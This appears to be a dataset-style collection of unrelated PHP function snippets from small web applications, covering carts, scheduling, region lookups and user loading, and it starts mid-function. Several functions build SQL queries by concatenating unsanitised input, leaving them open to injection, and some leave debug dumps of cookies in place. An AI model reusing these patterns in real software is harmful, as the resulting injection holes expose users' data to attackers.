$ids);\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$cookie = $_COOKIE['ilosci'];\n\t\t\t\t\t\t\t$cookie = stripslashes($cookie);\n\t\t\t\t\t\t\t$quantity = json_decode($cookie, true);\n\t\t\t\t\t\t\techo '<br>';\n\t\t\t\t\t\t\tif(($k = array_search($idt, $ids)) === false){}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\techo '<br>ilosci ';\n\t\t\t\t\t\t\t\tvar_dump($_COOKIE['ilosci']);\n\t\t\t\t\t\t\t\t$ilosc=$ilosc-1;\n\t\t\t\t\t\t\t $quantity[$indeks]=$ilosc;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$dane = json_encode($quantity);\n\t\t\t\t\t\t\tsetcookie('ilosci', $dane,time()+60*60*24*30,'/');\n\t\t\t\t\t\t\t$_COOKIE['ilosci'] = $dane;\n\t\t\t\t\t\t\techo '<br>';\n\t\t\t\t\t\t\tvar_dump($_COOKIE['ilosci']);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcatch(\\PDOException $e)\n\t\t\t\t\t{\n\t\t\t\t\t\t$data['error'] =$data['error'].'<br> Błąd wykonywania operacji usunięcia';\n\t\t\t\t\t}\n\t\t\t\t\t/*var_dump($_COOKIE['idtowary']);\n\t\t\t\t\techo '<br>';\n\t\t\t\t\tvar_dump($_COOKIE['ilosci']);\n\t\t\t\t\techo '<br>';*/\n\t\t\t\treturn $data;\n\n\t\t}", "private static function Najdi_kolize ($query,$iducast){\r\n $kolize_pole = array();\r\n $dbh = Projektor2_AppContext::getDB();\r\n \r\n //echo \" <br>\". $query . \" \" . $iducast;\r\n \r\n //--\r\n Projektor2_Table_UcKolizeData::$zjistovane_kolize=array();\r\n Projektor2_Table_UcKolizeData::$nastava_kolize_ve_zjistovanych = false; \r\n //echo \"NAJDI KOLIZE\";\r\n \r\n try { \r\n $sth = $dbh->prepare($query);\r\n $succ = $sth->execute();\r\n while($zaznam_s_kolize = $sth->fetch(PDO::FETCH_ASSOC)) { //pro pozadovane kontroly (kolize) sestavuji dotazy\r\n //var_dump($zaznam_s_kolize);\r\n //--\r\n array_push (Projektor2_Table_UcKolizeData::$zjistovane_kolize, $zaznam_s_kolize['id_s_typ_kolize']);\r\n //echo \"Table_UcKolizeData::zjistovane_kolize\"; var_dump(Table_UcKolizeData::$zjistovane_kolize);\r\n \r\n //ze zjistenych udaju sestavuji dotazy na kolize\r\n $query_kolize = self::Sestav_dotaz_na_kolizi($zaznam_s_kolize['zobrazovany_text_kolize'], $zaznam_s_kolize['select_text'], $zaznam_s_kolize['from_text'], $zaznam_s_kolize['where_text'] );\r\n //echo \"<br>*id_s_typ_kolize a dotaz na kolizi*|\" . $zaznam_s_kolize['id_s_typ_kolize'] ;\r\n //echo \" |<br>\". $query_kolize;\r\n \r\n if ($query_kolize) {\r\n $sth = $dbh->prepare($query_kolize);\r\n $succ = $sth->execute($iducast); \r\n \r\n //while ($zaznam_kolize = $data_kolize->fetch()) { \r\n $zaznam_kolize = $sth->fetch(PDO::FETCH_ASSOC);\r\n //echo \"<br>zaznam_kolize\" ; var_dump( $zaznam_kolize );\r\n \r\n if ( $zaznam_kolize['kolize_nastala'] ) { // kolize nastava\r\n // echo \"<br>\" . $zaznam_kolize['kolize_nastala'];\r\n //--/\r\n Projektor2_Table_UcKolizeData::$nastava_kolize_ve_zjistovanych = true; // nastavi priznak, ze alespon jedna zjistovana kolize skutecne nastava\r\n \r\n // ***minula*** - kolize nastava, je treba z uc_kolize_table precist ulozena data pokud uz kolize byla a !je! validni\r\n // hledat podle iducast, id s kolize , formular-nemusi, lokace-nemusi\r\n $query_minula = \"SELECT * FROM uc_kolize_table left join s_typ_kolize on (s_typ_kolize.id_s_typ_kolize = uc_kolize_table.id_s_typ_kolize_FK) \" .\r\n \"WHERE id_ucastnik=\" . $iducast .\r\n //\" and s_typ_kolize.formular='\" . $formular .\"'\" .\r\n //\" and s_typ_kolize.lokace_kolize='\" . $lokacekolize .\"'\" .\r\n \" and s_typ_kolize.id_s_typ_kolize=\" . $zaznam_s_kolize['id_s_typ_kolize'] . \r\n \" and uc_kolize_table.valid\" ; \r\n //echo \"<br>query_minula: \" .$query_minula;\r\n $sth = $dbh->prepare($query_minula);\r\n $suvv = $sth->execute();\r\n $zaznam_minula = $sth->fetch(PDO::FETCH_ASSOC);\r\n //var_dump ($zaznam_minula);\r\n \r\n if ($zaznam_minula) {\r\n $kolize = new Projektor2_Table_UcKolizeData($iducast, $zaznam_s_kolize['id_s_typ_kolize'],\r\n $zaznam_minula['revidovano'], $zaznam_minula['revidovano_pozn'],\r\n $zaznam_minula['date_vzniku'], $zaznam_kolize['kolize_nastala'],\r\n $zaznam_s_kolize['nazev_kolize'], \r\n $zaznam_kolize['zobrazovany_text_kolize'] , $zaznam_s_kolize['uroven_kolize'] , $zaznam_s_kolize['lokace_kolize'],\r\n $zaznam_minula['id_uc_kolize_table']);\r\n }\r\n else {\r\n $kolize = new Projektor2_Table_UcKolizeData($iducast, $zaznam_s_kolize['id_s_typ_kolize'],\r\n null, null,\r\n null, $zaznam_kolize['kolize_nastala'],\r\n $zaznam_s_kolize['nazev_kolize'],\r\n $zaznam_kolize['zobrazovany_text_kolize'] , $zaznam_s_kolize['uroven_kolize'] , $zaznam_s_kolize['lokace_kolize'],\r\n null);\r\n }\r\n //var_dump($kolize); \r\n $kolize_pole[] = $kolize;\r\n \r\n \r\n \r\n } //- kolize nastava\r\n \r\n else { // kolize nenastava nevim zda i u kolize ktera nenastava mam naplnovat informace z uc_kolize_table (revidovano....)\r\n $kolize = new Projektor2_Table_UcKolizeData($iducast, $zaznam_s_kolize['id_s_typ_kolize'],\r\n null, null,\r\n null, $zaznam_kolize['kolize_nastala'],\r\n $zaznam_s_kolize['nazev_kolize'],\r\n $zaznam_kolize['zobrazovany_text_kolize'] , $zaznam_s_kolize['uroven_kolize'] , $zaznam_s_kolize['lokace_kolize'],\r\n null);\r\n \r\n $kolize_pole[] = $kolize; \r\n \r\n }\r\n \r\n //}//while\r\n \r\n }//if query \r\n \r\n } // while - pro pozadovane kontroly (kolize) sestavuji dotazy\r\n } //try\r\n catch (Exception $e) {\r\n\t//header(\"Location: ./login.php?originating_uri=\".$_SERVER['REQUEST_URI']);\r\n \r\n }\r\n//echo \"<br>**Kolize_pole v Najdi_kolize..... **\";\r\n//var_dump($kolize_pole);\r\n \r\n return $kolize_pole;\r\n \r\n}", "public function reversal()\n {\n }", "public function existujeKolizna()\n {\n // hlada nasledovne kolizne pripady:\n // - existuje zaciatok nejakeho obdobia v nasom\n // - existuje koniec nejakeho obdobia v nasom\n // - nejake obdobie kompletne prekryva nase obbodie\n // pricom vzdy sa ignoruje nase obdobie (kvoli update ktory by bol kolizny so sebou)\n // a zaroven nie su kolizie ak bezi vaicero akcii na viacero inych semestrov\n $sql =\n \"SELECT id, \".\n DateConvert::DBTimestampToSkDateTime(\"zaciatok\"). \" AS zaciatok, \".\n DateConvert::DBTimestampToSkDateTime(\"koniec\"). \" AS koniec\n\t\t\tFROM rozvrhova_akcia\n\t\t\t WHERE \n\t\t\t \t((zaciatok>\".DateConvert::SKDateTime2DBTimestamp(\"$1\").\" AND\n\t\t\t \t zaciatok<\".DateConvert::SKDateTime2DBTimestamp(\"$2\").\") OR\t\n\t\t\t \t(koniec>\".DateConvert::SKDateTime2DBTimestamp(\"$1\").\" AND\n\t\t\t \t koniec<\".DateConvert::SKDateTime2DBTimestamp(\"$2\").\") OR\n\t\t\t \t(zaciatok<=\".DateConvert::SKDateTime2DBTimestamp(\"$1\").\" AND\n\t\t\t \t koniec>=\".DateConvert::SKDateTime2DBTimestamp(\"$2\").\")) AND\n\t\t\t \t id_semester=$3\";\n $params = array($this->zaciatok, $this->koniec, $this->id_semester);\n // ak je edit TREBA aj vylucit koliziu so sebou\n if (!empty($this->id))\n {\n $sql .= \" AND id<>$4\";\n $params[] = $this->id;\n }\n $this->dbh->query($sql, $params);\n\n if ($this->dbh->RowCount()>0)\n {\n $kolizia = $this->dbh->fetch_assoc();\n return \"{$kolizia[\"zaciatok\"]} - {$kolizia[\"koniec\"]}\";\n } else return null;\n }", "function olc_set_categories_rekursiv($categories_id,$status) {\n\t$products_query=olc_db_query(\"SELECT products_id FROM \".TABLE_PRODUCTS_TO_CATEGORIES.SQL_WHERE.\"categories_id='\".$categories_id.APOS);\n\twhile ($products=olc_db_fetch_array($products_query)) {\n\t\tolc_db_query(SQL_UPDATE.TABLE_PRODUCTS.\" SET products_status='\".$status.\"' where products_id='\".\n\t\t$products['products_id'].APOS);\n\t}\n\t// set status of categorie\n\tolc_db_query(SQL_UPDATE . TABLE_CATEGORIES . \" set categories_status = '\".$status.\"' where categories_id = '\" .\n\t$categories_id . APOS);\n\t// look for deeper categories and go rekursiv\n\t$categories_query=olc_db_query(\"SELECT categories_id FROM \".TABLE_CATEGORIES.SQL_WHERE.\"parent_id='\".$categories_id.APOS);\n\twhile ($categories=olc_db_fetch_array($categories_query)) {\n\t\tolc_set_categories_rekursiv($categories['categories_id'],$status);\n\t}\n\n}", "function OzState() {$this->reset();}", "function llenarMatrizPlaneServicios(){\n\t\t\t\n\t\t\tunset($matriz); \n\t\t\tglobal $matriz;\t\n\t\t\t$res = llamarRegistrosMySQLPlaneServicios();\n\t\t\t$posicion=0;\n\t\t\t\t\n\t\t\t\twhile ($fila = mysql_fetch_array($res))\n\t\t\t\t{\t\n\t\t\t\t\t\n\t\t\t\t\t$matriz[\"nombreplan\"][$posicion] = $fila[\"Nombre\"];\n\t\t\t\t\t$matriz[\"autoid\"][$posicion] = $fila[\"AutoId\"];\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$posicion++;\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t}", "public static function dodajArtikelVKosarico() {\n $id = $_SESSION[\"uporabnik_id\"];\n $uporabnik = UporabnikiDB::get($id);\n\n $id_artikla = filter_input(INPUT_POST, \"id\", FILTER_SANITIZE_SPECIAL_CHARS);\n $status = \"kosarica\";\n\n // ce narocilo ze obstaja mu samo povecamo kolicino \n // drugace narocilo ustvarimo\n $narocilo = NarocilaDB::getByUporabnikId($id, $status);\n\n if (!$narocilo) {\n\n $id_narocila = NarocilaDB::insert($id, $status);\n PodrobnostiNarocilaDB::insert($id_artikla, 1, $id_narocila);\n\n } else {\n\n $podrobnost_narocila = PodrobnostiNarocilaDB::getByNarociloAndArtikel($narocilo[\"id\"], $id_artikla);\n\n if (!$podrobnost_narocila) {\n PodrobnostiNarocilaDB::insert($id_artikla, 1, $narocilo[\"id\"]);\n } else {\n PodrobnostiNarocilaDB::edit($id_artikla, $podrobnost_narocila[\"kolicina\"] + 1, $narocilo[\"id\"]); \n } \n }\n\n echo ViewHelper::redirect(BASE_URL);\n\n }", "protected function rechercherUnVelo()\n\t{\n\t\t$lesVelos = null;\n\n\t\t\t/** si valeur, on lance la recherche */\n\t\tif(isset($_GET['valeur']) and $_GET['valeur'] !== '')\n\t\t\t$lesVelos = $this->odbVelo->searchVelos($_GET['valeur']);\n\t\telse\n\t\t\t$lesVelos = $this->odbVelo->getNouveauxVelos();\n\n\t\t$_SESSION['tampon']['html']['title'] = 'Rechercher Un v&eacute;lo';\n\t\t$_SESSION['tampon']['menu'][1]['current'] = 'Rechercher v&eacute;lo';\n\n\t\t\t// si pas de velo, erreur\n\t\tif (empty($lesVelos))\n\t\t\t$_SESSION['tampon']['error'][] = 'Pas de v&eacute;lo...';\n\n\t\t\t/**\n\t\t\t * Load des vues\n\t\t\t */\n\t\tview('htmlHeader');\n\t\tview('contentMenu');\n\t\tview('contentSearchVelo');\n\t\tview('contentAllVelo', array('lesVelos'=>$lesVelos));\n\t\tview('htmlFooter');\n\t}", "function get_oers_list_clean(){\n $oer_category_id=$GLOBALS['glbstg_crs_category'];\n $DB=$GLOBALS['GLBMDL_DB'];\n\n $oers=get_oers_list($DB, $oer_category_id);\n $oersclean=new stdClass();\n foreach ($oers as $key => $value) {\n $oersclean->$key = cleanresponse_course_infos( $value );\n }\n if( count( (array)$oersclean) == 0 ){\n $oersclean->response_notice=\"No permitted informations to be rendered. Check with admin.\";\n }\n return $oersclean;\n\n }", "public function restore();", "abstract public function revert();", "function applyFilterZvjezdice( & $polje_polja_hotela, $zvjezdice)\n\t{\n\t\tforeach($polje_polja_hotela as $kljuc => $polje)\n\t\t\tforeach($polje as $key => $hotel)\n\t\t\t\tif($hotel->broj_zvjezdica < $zvjezdice)\n\t\t\t\t\tunset($polje_polja_hotela[$kljuc][$key]);\n\t}", "public function masodik()\n {\n }", "function uprav_pretek ($NAZOV, $DATUM, $DEADLINE,$POZNAMKA){\r\n if(!$this->ID){\r\n return false;\r\n }\r\n $NAZOV2 = htmlentities($NAZOV, ENT_QUOTES, 'UTF-8');\r\n $reg_exUrl = \"/(http|https|ftp|ftps)\\:\\/\\/[a-zA-Z0-9\\-\\.]+\\.[a-zA-Z]{2,3}(\\/\\S*)?/\";\r\n $text = $POZNAMKA;\r\n\r\n if(preg_match($reg_exUrl, $text, $url) && !strpos($text, \"</a>\") && !strpos($text, \"</A>\") && !strpos($text, \"HREF\") && !strpos($text, \"href\")) {\r\n\r\n // make the urls hyper links\r\n $text = preg_replace($reg_exUrl, \"<a href=\".$url[0].\">{$url[0]}</a> \", $text);\r\n\r\n}\r\n\r\n $POZNAMKA2 = htmlentities($text, ENT_QUOTES, 'UTF-8');\r\n $db = napoj_db();\r\n $sql =<<<EOF\r\n UPDATE PRETEKY set NAZOV = \"$NAZOV2\" where ID=\"$this->ID\";\r\n UPDATE PRETEKY set DATUM = \"$DATUM\" where ID=\"$this->ID\";\r\n UPDATE PRETEKY set DEADLINE = \"$DEADLINE\" where ID=\"$this->ID\";\r\n UPDATE PRETEKY set POZNAMKA = \"$POZNAMKA2\" where ID=\"$this->ID\";\r\n DELETE FROM KATEGORIE_PRE_$this->ID;\r\nEOF;\r\n $ret = $db->exec($sql);\r\n if(!$ret){\r\n echo $db->lastErrorMsg();\r\n } else {\r\n \r\n }\r\n $db->close();\r\n }", "function LoadBestellungStandardwerte($id,$adresse)\n {\n $arr = $this->app->DB->SelectArr(\"SELECT * FROM adresse WHERE id='$adresse' LIMIT 1\");\n $field = array('name','vorname','abteilung','unterabteilung','strasse','adresszusatz','plz','ort','land','ustid','email','telefon','telefax','lieferantennummer');\n foreach($field as $key=>$value)\n {\n $this->app->Secure->POST[$value] = $arr[0][$value];\n $uparr[$value] = $arr[0][$value];\n }\n $this->app->DB->UpdateArr(\"bestellung\",$id,\"id\",$uparr);\n $uparr=\"\";\n\n //liefernantenvorlage\n $arr = $this->app->DB->SelectArr(\"SELECT * FROM lieferantvorlage WHERE adresse='$adresse' LIMIT 1\");\n $field = array('kundennummer','zahlungsweise','zahlungszieltage','zahlungszieltageskonto','zahlungszielskonto','versandart');\n foreach($field as $key=>$value)\n {\n //$uparr[$value] = $arr[0][$value];\n $this->app->Secure->POST[$value] = $arr[0][$value];\n }\n //$this->app->DB->UpdateArr(\"bestellung\",$id,\"id\",$uparr);\n\n }", "public function restore()\n {\n //\n }", "function reset_data() {\n\t\t$this->data_layer()->clear();\n\t\t$this->log = null;\n\t\t$this->location = null;\n\t\t$this->tax_location = null;\n\t}", "function pobierz_urle_uzyt($nazwa_uz) {\r\n // pobranie z bazy danych wszystkich URL-i danego u�ytkownika\r\n $lacz = lacz_bd();\r\n $wynik = $lacz->query(\"select URL_zak\r\n from zakladka\r\n where nazwa_uz = '\".$nazwa_uz.\"'\");\r\n if (!$wynik) {\r\n return false;\r\n }\r\n\r\n // tworzenie tablicy URL-i\r\n $tablica_url = array();\r\n for ($licznik = 0; $rzad = $wynik->fetch_row(); ++$licznik) {\r\n $tablica_url[$licznik] = $rzad[0];\r\n }\r\n return $tablica_url;\r\n}", "function loadUbicaciones($where, $paso, $pais){\n\tinclude 'libcon.php';\n //$ubica = \"\";\n $bandera = false;\n if($pais == \"\"){\n $sql = \"SELECT * FROM web_salones WHERE concepto = $where AND estado = 1 ORDER BY regionsalon ASC;\";\n $result = miBusquedaSQL($sql);\n $ubica = armarUbicaciones($result, $paso);\n return $ubica;\n } else{\n $nuevoarray = array();$i=0;\n $sqlreg = \"SELECT campo, campo2, campo3, campo4, B.CONCEPTO, B.REGIONSALON, B.ESTADO FROM ms_configuracion A INNER JOIN (SELECT CONCEPTO, ESTADO, REGIONSALON FROM web_salones) B ON A.campo = B.REGIONSALON WHERE A.grupo = 'regiones' AND B.CONCEPTO = \".$where.\" AND B.ESTADO = 1;\";\n $regiones = (array) json_decode(miBusquedaSQL($sqlreg), true);\n foreach ($regiones as $r) {\n if($r[3] == $pais){\n $region = $r[0];\n $bandera = true;\n }\n\n $nuevoarray[$i] = $r[0];\n $i++;\n }\n\n if($bandera == true){\n $sql = \"SELECT * FROM web_salones WHERE concepto = $where AND estado = 1 AND regionsalon = \".$region.\" ORDER BY regionsalon ASC;\";\n $result = miBusquedaSQL($sql);\n $ubica = armarUbicaciones($result, $paso);\n } else if($bandera == false){\n $ubica = \"<b>No hubo resultados en la región consultada. Consulte en: </b><br><br><div class='blog-posts grid-view grid-concepto'><div class='isotope row'>\";\n $flag = \"\";$j=0;$hola=\"\";\n $unique = array_keys(array_flip($nuevoarray)); \n //var_dump($unique);\n $first_names = array_column($regiones, 'campo3');\n $unique2 = array_keys(array_flip($first_names)); \n //print_r($unique2);\n\n foreach ($unique as $r) {\n //$flag .= \"<img src='\".$r[2].\"' width='30px!important' height='22px' style='width:30px!important;''><br>\";\n \n\n $flag .= '<div class=\"col-md-2 col-sm-3 grid-view-post item\">\n <div class=\"item1 post\">\n <div class=\"box text-center\">\n <a href=\"?country='.abrevRegion($r).'\"><img class=\"ubiflags\" src=\"'.$unique2[$j].'\"><strong>'.cambiarRegion($r).'</strong></a>\n </div> \n </div>\n </div>';\n \n $j++;\n }\n\n $ubica .= $flag . \"</div></div>\";\n }\n\n return $ubica;\n }\n }", "function hentAlleAktiviteter()\n{\n return Aktivitet::All()->sortByDesc(\"Dato\");\n}", "function cl_rhempenhofolharubrica() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rhempenhofolharubrica\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "public function reinit()\n {\n }", "function cl_criterioavaliacaodisciplina() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"criterioavaliacaodisciplina\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "private function iniciarRecolectarData()\r\n\t\t{\r\n\t\t\tself::findPagoDetalleActividadEconomica();\r\n\t\t\tself::findPagoDetalleInmuebleUrbano();\r\n\t\t\tself::findPagoDetalleVehiculo();\r\n\t\t\tself::findPagoDetalleAseo();\r\n\t\t\tself::findPagoDetallePropaganda();\r\n\t\t\tself::findPagoDetalleEspectaculo();\r\n\t\t\tself::findPagoDetalleApuesta();\r\n\t\t\tself::findPagoDetalleVario();\r\n\t\t\tself::findPagoDetalleMontoNegativo();\r\n\t\t\tself::ajustarDataReporte();\r\n\t\t}", "function getRelaciones() {\n //arreglo relacion de tablas\n //---------------------------->DEPARTAMENTO(OPERADOR)\n $relacion_tablas['departamento']['ope_id']['tabla'] = 'operador';\n $relacion_tablas['departamento']['ope_id']['campo'] = 'ope_id';\n $relacion_tablas['departamento']['ope_id']['remplazo'] = 'ope_nombre';\n //---------------------------->DEPARTAMENTO(OPERADOR)\n //---------------------------->DEPARTAMENTO(REGION)\n $relacion_tablas['departamento']['der_id']['tabla'] = 'departamento_region';\n $relacion_tablas['departamento']['der_id']['campo'] = 'der_id';\n $relacion_tablas['departamento']['der_id']['remplazo'] = 'der_nombre';\n //---------------------------->DEPARTAMENTO(REGION)\n //---------------------------->MUNICIPIO(DEPARTAMENTO)\n $relacion_tablas['municipio']['dep_id']['tabla'] = 'departamento';\n $relacion_tablas['municipio']['dep_id']['campo'] = 'dep_id';\n $relacion_tablas['municipio']['dep_id']['remplazo'] = 'dep_nombre';\n //---------------------------->MUNICIPIO(DEPARTAMENTO)\n //---------------------------->CIUDAD\n $relacion_tablas['ciudad']['Id_Pais']['tabla'] = 'pais';\n $relacion_tablas['ciudad']['Id_Pais']['campo'] = 'Id_Pais';\n $relacion_tablas['ciudad']['Id_Pais']['remplazo'] = 'Nombre_Pais';\n //---------------------------->CIUDAD\n //---------------------------->CUENTAS\n $relacion_tablas['cuentas_financiero']['cft_id']['tabla'] = 'cuentas_financiero_tipo';\n $relacion_tablas['cuentas_financiero']['cft_id']['campo'] = 'cft_id';\n $relacion_tablas['cuentas_financiero']['cft_id']['remplazo'] = 'cft_nombre';\n //---------------------------->CUENTAS\n //---------------------------->CUENTAS UT\n $relacion_tablas['cuentas_financiero_ut']['cft_id']['tabla'] = 'cuentas_financiero_tipo';\n $relacion_tablas['cuentas_financiero_ut']['cft_id']['campo'] = 'cft_id';\n $relacion_tablas['cuentas_financiero_ut']['cft_id']['remplazo'] = 'cft_nombre';\n //---------------------------->CUENTAS UT\n //---------------------------->MOVIMIENTOS\n $relacion_tablas['extracto_movimiento']['mov_tipo_id']['tabla'] = 'extractos_movimiento_tipo';\n $relacion_tablas['extracto_movimiento']['mov_tipo_id']['campo'] = 'mov_tipo_id';\n $relacion_tablas['extracto_movimiento']['mov_tipo_id']['remplazo'] = 'mov_tipo_desc';\n //---------------------------->MOVIMIENTOS\n //---------------------------->CENTROS POBLADOS\n $relacion_tablas['centropoblado']['mun_id']['tabla'] = 'municipio';\n $relacion_tablas['centropoblado']['mun_id']['campo'] = 'mun_id';\n $relacion_tablas['centropoblado']['mun_id']['remplazo'] = 'mun_nombre';\n //---------------------------->CENTROS POBLADOS\n //---------------------------->TIPO HALLAZGO\n $relacion_tablas['tipohallazgo']['idAreaHallazgo']['tabla'] = 'areashallazgospendientes';\n $relacion_tablas['tipohallazgo']['idAreaHallazgo']['campo'] = 'idAreaHallazgo';\n $relacion_tablas['tipohallazgo']['idAreaHallazgo']['remplazo'] = 'descripcion';\n //---------------------------->TIPO HALLAZGO\n\n return $relacion_tablas;\n }", "function PobierzJednostki($wartosc)\n{\n $nazwa_jednostki=$wartosc;\n $nazwa_jednostki2=$wartosc;\n $polaczenie = polaczenie_z_baza();\n $lista='';\n\n if($nazwa_jednostki!='')\n {\n $pobierz_jednostke = mysqli_query($polaczenie,\"SELECT nazwa, id FROM jednostki WHERE nazwa LIKE '$wartosc' ORDER BY nazwa ASC\")\n or die(\"Blad przy pobierz_jednsotke\".mysqli_error($polaczenie));\n if(mysqli_num_rows($pobierz_jednostke)>0)\n {\n while ($jednostka = mysqli_fetch_array($pobierz_jednostke))\n {\n $nazwa_jednostki .= \"<option value='$jednostka[id]' selected='selected'>$jednostka[nazwa]</option>\";\n $lista.=$nazwa_jednostki;\n }\n }\n elseif (mysqli_num_rows($pobierz_jednostke)==0)\n {\n $pobierz_jednostke2 = mysqli_query($polaczenie,\"SELECT nazwa, id FROM jednostki WHERE id LIKE '$wartosc' ORDER BY nazwa ASC\")\n or die(\"Blad przy pobierz_jednsotke\".mysqli_error($polaczenie));\n if(mysqli_num_rows($pobierz_jednostke2)>0)\n {\n while ($jednostka2 = mysqli_fetch_array($pobierz_jednostke2))\n {\n $nazwa_jednostki2 .= \"<option value='$jednostka2[id]' selected='selected'>$jednostka2[nazwa]</option>\";\n $lista.=$nazwa_jednostki2;\n }\n }\n }\n else\n {\n $nazwa_jednostki .=\"<option value='$wartosc'>Brak jednostki lub została usunięta o kodzie : $wartosc</option>\";\n $lista.=$nazwa_jednostki;\n }\n }\n\n\n $pobierz_jednostki = mysqli_query($polaczenie,\"SELECT nazwa, id FROM jednostki WHERE aktywny = '0' ORDER BY nazwa ASC\")\n or die(\"Blad przy pobierz_jednsotke\".mysqli_error($polaczenie));\n if(mysqli_num_rows($pobierz_jednostki)>0)\n {\n while ($jednostka = mysqli_fetch_array($pobierz_jednostki))\n {\n $lista.= \"<option value='$jednostka[id]' >$jednostka[nazwa]</option>\";\n }\n }\n else\n {\n $lista .= \"<option value='$wartosc'>Brak dodanych jednostek w bazie dodaj w słowniku</option>\";\n }\n\n\n return $lista;\n}", "function getRelaciones() {\r\n //arreglo relacion de tablas\r\n //---------------------------->DEPARTAMENTO(OPERADOR)\r\n //---------------------------->TEMA(TIPO)\r\n\t\t$relacion_tablas['documento_tema']['dti_id']['tabla']='documento_tipo';\r\n\t\t$relacion_tablas['documento_tema']['dti_id']['campo']='dti_id';\r\n\t\t$relacion_tablas['documento_tema']['dti_id']['remplazo']='dti_nombre';\r\n\t\t//---------------------------->TEMA(TIPO)\r\n\r\n\t\t//---------------------------->SUBTEMA(TEMA)\r\n\t\t$relacion_tablas['documento_subtema']['dot_id']['tabla']='documento_tema';\r\n\t\t$relacion_tablas['documento_subtema']['dot_id']['campo']='dot_id';\r\n\t\t$relacion_tablas['documento_subtema']['dot_id']['remplazo']='dot_nombre';\r\n //---------------------------->SUBTEMA(TEMA)\r\n\r\n //---------------------------->DOCUMENTO(OPERADOR)\r\n $relacion_tablas['documento_actor']['ope_id']['tabla']='operador';\r\n\t\t$relacion_tablas['documento_actor']['ope_id']['campo']='ope_id';\r\n\t\t$relacion_tablas['documento_actor']['ope_id']['remplazo']='ope_nombre';\r\n //---------------------------->DOCUMENTO(TIPO DE ACTOR)\r\n $relacion_tablas['documento_actor']['dta_id']['tabla']='documento_tipo_actor';\r\n\t\t$relacion_tablas['documento_actor']['dta_id']['campo']='dta_id';\r\n\t\t$relacion_tablas['documento_actor']['dta_id']['remplazo']='dta_nombre';\r\n //----------------------------<DOCUMENTO\r\n\r\n\t\t//---------------------------->DEPARTAMENTO(OPERADOR)\r\n\t\t$relacion_tablas['departamento']['ope_id']['tabla']='operador';\r\n\t\t$relacion_tablas['departamento']['ope_id']['campo']='ope_id';\r\n\t\t$relacion_tablas['departamento']['ope_id']['remplazo']='ope_nombre';\r\n\t\t//---------------------------->DEPARTAMENTO(OPERADOR)\r\n\r\n\t\t//---------------------------->DEPARTAMENTO(REGION)\r\n\t\t$relacion_tablas['departamento']['dpr_id']['tabla']='departamento_region';\r\n\t\t$relacion_tablas['departamento']['dpr_id']['campo']='dpr_id';\r\n\t\t$relacion_tablas['departamento']['dpr_id']['remplazo']='dpr_nombre';\r\n //---------------------------->DEPARTAMENTO(REGION)\r\n\r\n\t\t//---------------------------->MUNICIPIO(DEPARTAMENTO)\r\n\t\t$relacion_tablas['municipio']['dep_id']['tabla']='departamento';\r\n\t\t$relacion_tablas['municipio']['dep_id']['campo']='dep_id';\r\n\t\t$relacion_tablas['municipio']['dep_id']['remplazo']='dep_nombre';\r\n //---------------------------->MUNICIPIO(DEPARTAMENTO)\r\n\r\n return $relacion_tablas;\r\n }", "function cl_rhlocaltrab() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rhlocaltrab\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "public function resetInTreeCache()\n\t{\n\t\t$this->in_tree_cache = array();\n\t}", "function reset() {\n\t\tparent::_resetSet();\n\t}", "function remove_sl(){\n\t\t\n\t}", "function cl_rhemitecontracheque() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rhemitecontracheque\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "public function nahrajUzivatele(){\t\t\t\n\t\t\t$dotaz = \"SELECT uzivatelID,uzivatelJmeno,uzivatelHeslo FROM `tabUzivatele` WHERE 1 \";\n\t\t\t\n\t\t\t\t\t\t\n\t\t\t$vysledek = mysqli_query($this -> pripojeni,$dotaz);\n\t\t\t$vratit = array();\n\t\t\t\n\t\t\tif($vysledek == false){\n\t\t\t\techo(\"Pri nahravani dat nastala chyba!\" . mysqli_error($this->pripojeni) );\n\t\t\t}\n\t\telse{\n\t\t\t//case result is mysqli_result\n\t\t\t$pole = $vysledek->fetch_all(MYSQLI_ASSOC);\n\t\t\tforeach($pole as $radek ){\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\tforeach($radek as $x => $x_value) {\n\t\t\t\t\techo \"Key=\" . $x . \", Value=\" . $x_value;\n\t\t\t\t\techo \"<br>\";\n\t\t\t\t}\n\t\t\t\t*/\n\n\t\t\t\t$jmeno = $radek[\"uzivatelJmeno\"];\n\t\t\t\t$heslo = $radek[\"uzivatelHeslo\"];\n\t\t\t\t\n\t\t\t\t$uzivatel = new uzivatelObjekt($jmeno,$heslo);\n\t\t\t\t\n\t\t\t\t$uzivatel->uzivatelID = $radek[\"uzivatelID\"];\n\t\t\t\t\n\t\t\t\tarray_push($vratit,$uzivatel); \n\t\t\t\t\n\t\t\t\t\n\t\t\t}\n\t\t}\t\n\t\treturn\t$vratit;\t\t\n\t\t\n\t}", "function recalculaSLD()\n {\n if ($this->layer->classitem != \"\" && $this->layer->connectiontype == 7 && $this->layer->numclasses > 0) {\n $tipotemp = $this->layer->type;\n $tiporep = $this->layer->getmetadata(\"tipooriginal\");\n $this->layer->set(\"type\", MS_LAYER_POLYGON);\n if ($tiporep == \"linear\") {\n $this->layer->set(\"type\", MS_LAYER_LINE);\n }\n if ($tiporep == \"pontual\") {\n $this->layer->set(\"type\", MS_LAYER_POINT);\n }\n $this->layer->set(\"status\", MS_DEFAULT);\n $this->layer->setmetadata(\"wms_sld_body\", \"\");\n $sld = $this->layer->generateSLD();\n if ($sld != \"\") 